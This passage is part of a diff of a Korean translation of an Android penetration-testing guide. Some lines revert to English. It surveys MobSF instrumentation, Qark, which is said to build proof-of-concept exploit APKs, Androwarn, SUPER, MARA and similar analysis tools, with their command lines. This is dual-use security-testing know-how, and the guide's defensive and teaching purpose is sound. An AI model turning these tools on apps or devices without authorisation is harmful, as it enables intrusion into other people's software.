์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. -- **Capture Strings**: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ ์ค‘ ์บก์ฒ˜๋˜๋Š” ๋ชจ๋“  ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค (๋งค์šฐ ๋งŽ์€ ์ถœ๋ ฅ). -- **Capture String Comparisons**: ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋น„๊ต๋˜๋Š” ๋‘ ๋ฌธ์ž์—ด์„ ๋ณด์—ฌ์ฃผ๊ณ  ๊ฒฐ๊ณผ๊ฐ€ True์ธ์ง€ False์ธ์ง€ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. +- **Enumerate Loaded Classes**: ๋กœ๋“œ๋œ ๋ชจ๋“  ํด๋ž˜์Šค๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค +- **Capture Strings**: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ ์ค‘ ์บก์ฒ˜๋œ ๋ชจ๋“  ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค(๋งค์šฐ ๋งŽ์€ ๋…ธ์ด์ฆˆ ๋ฐœ์ƒ) +- **Capture String Comparisons**: ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋น„๊ต๋˜๋Š” ๋‘ ๋ฌธ์ž์—ด๊ณผ ๊ฒฐ๊ณผ(True/False)๋ฅผ **ํ‘œ์‹œ**ํ•ฉ๋‹ˆ๋‹ค. - **Enumerate Class Methods**: ํด๋ž˜์Šค ์ด๋ฆ„(์˜ˆ: "java.io.File")์„ ์ž…๋ ฅํ•˜๋ฉด ํ•ด๋‹น ํด๋ž˜์Šค์˜ ๋ชจ๋“  ๋ฉ”์„œ๋“œ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. -- **Search Class Pattern**: ํŒจํ„ด์œผ๋กœ ํด๋ž˜์Šค๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. -- **Trace Class Methods**: ํด๋ž˜์Šค ์ „์ฒด๋ฅผ **Trace**ํ•ฉ๋‹ˆ๋‹ค (ํ•ด๋‹น ํด๋ž˜์Šค์˜ ๋ชจ๋“  ๋ฉ”์„œ๋“œ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ ํ™•์ธ). ๊ธฐ๋ณธ์ ์œผ๋กœ MobSF๋Š” ์—ฌ๋Ÿฌ ํฅ๋ฏธ๋กœ์šด Android Api ๋ฉ”์„œ๋“œ๋ฅผ traceํ•ฉ๋‹ˆ๋‹ค. +- **Search Class Pattern**: ํŒจํ„ด์œผ๋กœ ํด๋ž˜์Šค ๊ฒ€์ƒ‰ +- **Trace Class Methods**: **Trace** a **whole class** (ํ•ด๋‹น ํด๋ž˜์Šค์˜ ๋ชจ๋“  ๋ฉ”์„œ๋“œ์˜ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ํ™•์ธ). ๊ธฐ๋ณธ์ ์œผ๋กœ MobSF๋Š” ์—ฌ๋Ÿฌ ํฅ๋ฏธ๋กœ์šด Android API ๋ฉ”์„œ๋“œ๋ฅผ trace ํ•ฉ๋‹ˆ๋‹ค. -์›ํ•˜๋Š” ๋ณด์กฐ ๋ชจ๋“ˆ์„ ์„ ํƒํ•œ ํ›„ "**Start Intrumentation**"์„ ๋ˆŒ๋Ÿฌ์•ผ ํ•˜๋ฉฐ ๋ชจ๋“  ์ถœ๋ ฅ์€ "**Frida Live Logs**"์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›ํ•˜๋Š” ๋ณด์กฐ ๋ชจ๋“ˆ์„ ์„ ํƒํ•œ ํ›„ "**Start Intrumentation**"์„ ๋ˆ„๋ฅด๋ฉด ๋ชจ๋“  ์ถœ๋ ฅ์ด "**Frida Live Logs**"์— ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. **Shell** -MobSF๋Š” ๋™์  ๋ถ„์„ ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ๋ช‡ ๊ฐ€์ง€ **adb** ๋ช…๋ น, **MobSF commands**, ๊ทธ๋ฆฌ๊ณ  ์ผ๋ฐ˜์ ์ธ **shell** **commands**๋ฅผ ํฌํ•จํ•œ ์…ธ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ํฅ๋ฏธ๋กœ์šด ๋ช…๋ น: +MobSF๋Š” ๋™์  ๋ถ„์„ ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ๋ช‡ ๊ฐ€์ง€ **adb** ๋ช…๋ น, **MobSF commands**, ์ผ๋ฐ˜์ ์ธ **shell** **commands**๊ฐ€ ํฌํ•จ๋œ ์‰˜๋„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๋ช‡ ๊ฐ€์ง€ ํฅ๋ฏธ๋กœ์šด ๋ช…๋ น: ```bash help shell ls @@ -658,32 +658,32 @@ receivers ``` **HTTP ๋„๊ตฌ** -HTTP ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•˜๋ฉด "**HTTP(S) Traffic**" ๋ฒ„ํŠผ ํ•˜๋‹จ์—์„œ ์บก์ฒ˜๋œ ํŠธ๋ž˜ํ”ฝ์˜ ๊ฑฐ์นœ ๋ทฐ๋ฅผ ๋ณด๊ฑฐ๋‚˜ "**Start HTTPTools**" ๋…น์ƒ‰ ๋ฒ„ํŠผ์—์„œ ๋” ๋ณด๊ธฐ ์ข‹์€ ๋ทฐ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ ์˜ต์…˜์—์„œ๋Š” ์บก์ฒ˜๋œ ์š”์ฒญ์„ Burp๋‚˜ Owasp ZAP ๊ฐ™์€ proxies๋กœ **๋ณด๋‚ผ** ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์ด๋ฅผ ์œ„ํ•ด, _Burp๋ฅผ ์ผœ๊ณ  -->_ _Intercept๋ฅผ ๋ˆ ๋‹ค์Œ --> MobSB HTTPTools์—์„œ ์š”์ฒญ์„ ์„ ํƒ_ --> "**Send to Fuzzer**"๋ฅผ ๋ˆ„๋ฅด๊ณ  --> _ํ”„๋ก์‹œ ์ฃผ์†Œ๋ฅผ ์„ ํƒ_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" ๋ฒ„ํŠผ or a nicer view in "**Start HTTPTools**" green ๋ฒ„ํŠผ. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF๋กœ ๋™์  ๋ถ„์„์„ ๋งˆ์น˜๋ฉด "**Start Web API Fuzzer**"๋ฅผ ๋ˆŒ๋Ÿฌ http ์š”์ฒญ์„ **fuzz**ํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. > [!TIP] -> MobSF๋กœ ๋™์  ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•œ ํ›„ ํ”„๋ก์‹œ ์„ค์ •์ด ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด GUI์—์„œ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†๊ฒŒ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”„๋ก์‹œ ์„ค์ •์€ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Inspeckage๋ฅผ ์ด์šฉํ•œ ๋ณด์กฐ ๋™์  ๋ถ„์„ -๋„๊ตฌ๋Š” [**Inspeckage**](https://github.com/ac-pm/Inspeckage)์—์„œ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ -์ด ๋„๊ตฌ๋Š” ๋ช‡๋ช‡ **Hooks**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋™์  ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚˜๋Š”์ง€** ์•Œ๋ ค์ค๋‹ˆ๋‹ค. +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ +์ด ๋„๊ตฌ๋Š” ๋ช‡ ๊ฐ€์ง€ **Hooks**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **dynamic analysis**๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋™์•ˆ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ **๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚˜๊ณ  ์žˆ๋Š”์ง€** ์•Œ๋ ค์ค๋‹ˆ๋‹ค. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -GUI๋กœ ์ •์  ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ์— **ํ›Œ๋ฅญํ•œ ๋„๊ตฌ**์ž…๋‹ˆ๋‹ค +This is a **great tool to perform static analysis with a GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -์ด ๋„๊ตฌ๋Š” ์†Œ์Šค ์ฝ”๋“œ๋‚˜ ํŒจํ‚ค์ง€๋œ APK์—์„œ ์—ฌ๋Ÿฌ **๋ณด์•ˆ ๊ด€๋ จ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ทจ์•ฝ์ **์„ ์ฐพ๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด ๋„๊ตฌ๋Š” ๋ฐœ๊ฒฌ๋œ ์ผ๋ถ€ ์ทจ์•ฝ์ (Exposed activities, intents, tapjacking...)์„ ์•…์šฉํ•˜๊ธฐ ์œ„ํ•œ "Proof-of-Concept" ๋ฐฐํฌ ๊ฐ€๋Šฅํ•œ APK์™€ **ADB commands**๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Drozer์™€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํ…Œ์ŠคํŠธ ๋””๋ฐ”์ด์Šค๋ฅผ ๋ฃจํŒ…ํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. +This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -692,20 +692,20 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- ์ฐธ์กฐํ•˜๊ธฐ ์‰ฝ๋„๋ก ์ถ”์ถœ๋œ ๋ชจ๋“  ํŒŒ์ผ์„ ํ‘œ์‹œ -- APK ํŒŒ์ผ์„ ์ž๋™์œผ๋กœ Java ๋ฐ Smali ํ˜•์‹์œผ๋กœ ๋””์ปดํŒŒ์ผ -- AndroidManifest.xml์„ ๋ถ„์„ํ•˜์—ฌ ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ ๊ณผ ๋™์ž‘ ์‹๋ณ„ -- ์ •์  ์†Œ์Šค ์ฝ”๋“œ ๋ถ„์„์„ ํ†ตํ•ด ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ ๊ณผ ๋™์ž‘ ๊ฒ€์‚ฌ -- ๊ธฐ๊ธฐ ์ •๋ณด -- ๊ทธ ์™ธ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ +- ์ฐธ์กฐํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋ชจ๋“  ์ถ”์ถœ๋œ ํŒŒ์ผ์„ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค +- APK ํŒŒ์ผ์„ ์ž๋™์œผ๋กœ Java ๋ฐ Smali ํ˜•์‹์œผ๋กœ ๋””์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค +- AndroidManifest.xml์„ ๋ถ„์„ํ•˜์—ฌ ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์  ๋ฐ ๋™์ž‘์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค +- ์ •์  ์†Œ์Šค ์ฝ”๋“œ ๋ถ„์„์„ ํ†ตํ•ด ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์  ๋ฐ ๋™์ž‘์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค +- ์žฅ์น˜ ์ •๋ณด +- ๊ทธ๋ฆฌ๊ณ  ๋” ๋งŽ์€ ๊ธฐ๋Šฅ ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER๋Š” Windows, MacOS X ๋ฐ Linux์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ช…๋ น์ค„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ, ์ทจ์•ฝ์ ์„ ์ฐพ๊ธฐ ์œ„ํ•ด _.apk_ ํŒŒ์ผ์„ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœ๊ทธ๋žจ์€ APKs๋ฅผ ์••์ถ• ํ•ด์ œํ•˜๊ณ  ์ผ๋ จ์˜ ๊ทœ์น™์„ ์ ์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค. +SUPER๋Š” Windows, MacOS X ๋ฐ Linux์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ปค๋งจ๋“œ๋ผ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ, ์ทจ์•ฝ์ ์„ ์ฐพ๊ธฐ ์œ„ํ•ด _.apk_ ํŒŒ์ผ์„ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” APKs๋ฅผ ์••์ถ• ํ•ด์ œํ•˜๊ณ  ์ผ๋ จ์˜ ๊ทœ์น™์„ ์ ์šฉํ•˜์—ฌ ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค. -All rules are centered in a `rules.json` file, and each company or tester could create its own rules to analyze what they need. +๋ชจ๋“  ๊ทœ์น™์€ `rules.json` ํŒŒ์ผ์— ์ง‘์ค‘๋˜์–ด ์žˆ์œผ๋ฉฐ, ๊ฐ ํšŒ์‚ฌ๋‚˜ ํ…Œ์Šคํ„ฐ๋Š” ํ•„์š”์— ๋งž๊ฒŒ ์ž์ฒด ๊ทœ์น™์„ ๋งŒ๋“ค์–ด ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ตœ์‹  ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” [download page](https://superanalyzer.rocks/download.html)์—์„œ ๋‹ค์šด๋กœ๋“œํ•˜์„ธ์š”. ``` @@ -715,9 +715,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” developers, bugbounty hunters and ethical hackers๋ฅผ ๋•๋Š” **crossplatform** ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. +StaCoAn์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis)๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฐœ๋ฐœ์ž, bugbounty hunters ๋ฐ ethical hackers๋ฅผ ์ง€์›ํ•˜๋Š” **ํฌ๋กœ์Šคํ”Œ๋žซํผ** ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -๊ฐœ๋…์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํŒŒ์ผ(.apk ๋˜๋Š” .ipa ํŒŒ์ผ)์„ StaCoAn ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญํ•˜๋ฉด ์‹œ๊ฐ์ ์ด๊ณ  ํฌํ„ฐ๋ธ”ํ•œ ๋ณด๊ณ ์„œ๋ฅผ ์ƒ์„ฑํ•ด ์ค€๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์„ค์ •๊ณผ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋ฅผ ์กฐ์ •ํ•˜์—ฌ ๋งž์ถคํ˜• ๊ฒฝํ—˜์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๊ฐœ๋…์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํŒŒ์ผ(.apk ๋˜๋Š” .ipa ํŒŒ์ผ)์„ StaCoAn ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญํ•˜๋ฉด ์‹œ๊ฐ์ ์ด๊ณ  ํœด๋Œ€ ๊ฐ€๋Šฅํ•œ ๋ฆฌํฌํŠธ๋ฅผ ์ƒ์„ฑํ•ด ์ค€๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์„ค์ •๊ณผ wordlists๋ฅผ ์กฐ์ •ํ•˜์—ฌ ๋งž์ถคํ˜• ๊ฒฝํ—˜์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์šด๋กœ๋“œ[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -725,7 +725,7 @@ StaCoAn์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ [static code analysis](https://en. ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework๋Š” ๊ฐœ๋ฐœ์ž๋‚˜ hackers๊ฐ€ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ฐพ๋„๋ก ๋•๋Š” Android ์ทจ์•ฝ์  ๋ถ„์„ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค.\ +AndroBugs Framework๋Š” ๊ฐœ๋ฐœ์ž๋‚˜ ํ•ด์ปค๊ฐ€ Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์ฐพ๋„๋ก ๋•๋Š” ์ทจ์•ฝ์  ๋ถ„์„ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -733,11 +733,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn**๋Š” Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ฐœ๋ฐœํ•œ ์ž ์žฌ์  ์•…์„ฑ ๋™์ž‘์„ ํƒ์ง€ํ•˜๊ณ  ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฒฝ๊ณ ํ•˜๋Š” ๊ฒƒ์„ ์ฃผ์š” ๋ชฉ์ ์œผ๋กœ ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. +**Androwarn**๋Š” Android ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ž ์žฌ์  ์•…์„ฑ ํ–‰์œ„๋ฅผ ํƒ์ง€ํ•˜๊ณ  ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฒฝ๊ณ ํ•˜๋Š” ๊ฒƒ์„ ์ฃผ๋œ ๋ชฉ์ ์œผ๋กœ ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -ํƒ์ง€๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ Dalvik ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ **Smali**๋กœ ํ‘œํ˜„ํ•œ ๊ฒƒ์„ [`androguard`](https://github.com/androguard/androguard) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•œ **static analysis**๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. +ํƒ์ง€๋Š” [`androguard`](https://github.com/androguard/androguard) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•ด **Smali**๋กœ ํ‘œํ˜„๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ Dalvik ๋ฐ”์ดํŠธ์ฝ”๋“œ์— ๋Œ€ํ•œ **static analysis**๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. -์ด ๋„๊ตฌ๋Š” **"bad" ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ผ๋ฐ˜์ ์ธ ๋™์ž‘**์„ ํƒ์ง€ํ•˜๋ฉฐ, ์˜ˆ๋กœ Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค... +์ด ๋„๊ตฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution ๋“ฑ๊ณผ ๊ฐ™์€ **common behavior of "bad" applications**๋ฅผ ํƒ์ง€ํ•ฉ๋‹ˆ๋‹ค... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -745,48 +745,48 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**๋Š” **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework์ž…๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ reverse engineering ๋ฐ analysis ๋„๊ตฌ๋“ค์„ ๋ชจ์•„ OWASP ๋ชจ๋ฐ”์ผ ๋ณด์•ˆ ์œ„ํ˜‘์— ๋Œ€ํ•ด ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์„ ๋•์Šต๋‹ˆ๋‹ค. ๋ชฉ์ ์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐœ๋ฐœ์ž์™€ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์ด ์ด ์ž‘์—…์„ ๋” ์‰ฝ๊ณ  ์นœ๊ทผํ•˜๊ฒŒ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. +**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. ์ด๋Š” OWASP mobile security ์œ„ํ˜‘์— ๋Œ€ํ•ด ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ํ…Œ์ŠคํŠธํ•  ๋•Œ ์ž์ฃผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋ง ๋ฐ ๋ถ„์„ ๋„๊ตฌ๋“ค์„ ํ•œ๋ฐ ๋ชจ์•„ ๋‘” ํˆด์ž…๋‹ˆ๋‹ค. ๋ชฉ์ ์€ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ฐœ๋ฐœ์ž์™€ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์ด ์ด ์ž‘์—…์„ ๋” ์‰ฝ๊ณ  ์นœ์ˆ™ํ•˜๊ฒŒ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ๋•๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. -๋‹ค์Œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค: +๊ฐ€๋Šฅํ•œ ๊ธฐ๋Šฅ: -- ๋‹ค์–‘ํ•œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Java ๋ฐ Smali ์ฝ”๋“œ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค -- ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ APK๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- regexps๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ APK์—์„œ private ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. +- ๋‹ค์–‘ํ•œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Java ๋ฐ Smali ์ฝ”๋“œ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. +- ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด APK๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- regexps๋ฅผ ์‚ฌ์šฉํ•ด APK์—์„œ private ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. - Manifest๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค. -- ๋ฐœ๊ฒฌ๋œ ๋„๋ฉ”์ธ์„ ๋‹ค์Œ์œผ๋กœ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ๋ฐ [whatweb](https://github.com/urbanadventurer/WhatWeb) -- [apk-deguard.com]์„ ํ†ตํ•ด APK์˜ deobfuscation์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค +- ๋‹ค์Œ์„ ์‚ฌ์šฉํ•ด ๋ฐœ๊ฒฌ๋œ ๋„๋ฉ”์ธ์„ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- [apk-deguard.com](http://www.apk-deguard.com)์„ ํ†ตํ•ด APK ๋‚œ๋…ํ™” ํ•ด์ œ(deobfuscate)๋ฅผ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ### Koodous -malware ํƒ์ง€์— ์œ ์šฉ: [https://koodous.com/](https://koodous.com/) +์•…์„ฑ์ฝ”๋“œ ํƒ์ง€์— ์œ ์šฉ: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -์‚ฌ์šฉํ•˜๋Š” ์„œ๋น„์Šค์™€ ๊ตฌ์„ฑ์— ๋”ฐ๋ผ ์ฝ”๋“œ๋ฅผ obfuscateํ•  ๋•Œ ๋น„๋ฐ€(Secrets)์ด obfuscated๋œ ์ƒํƒœ๋กœ ๋‚จ์„ ์ˆ˜๋„ ์žˆ๊ณ  ์•„๋‹ ์ˆ˜๋„ 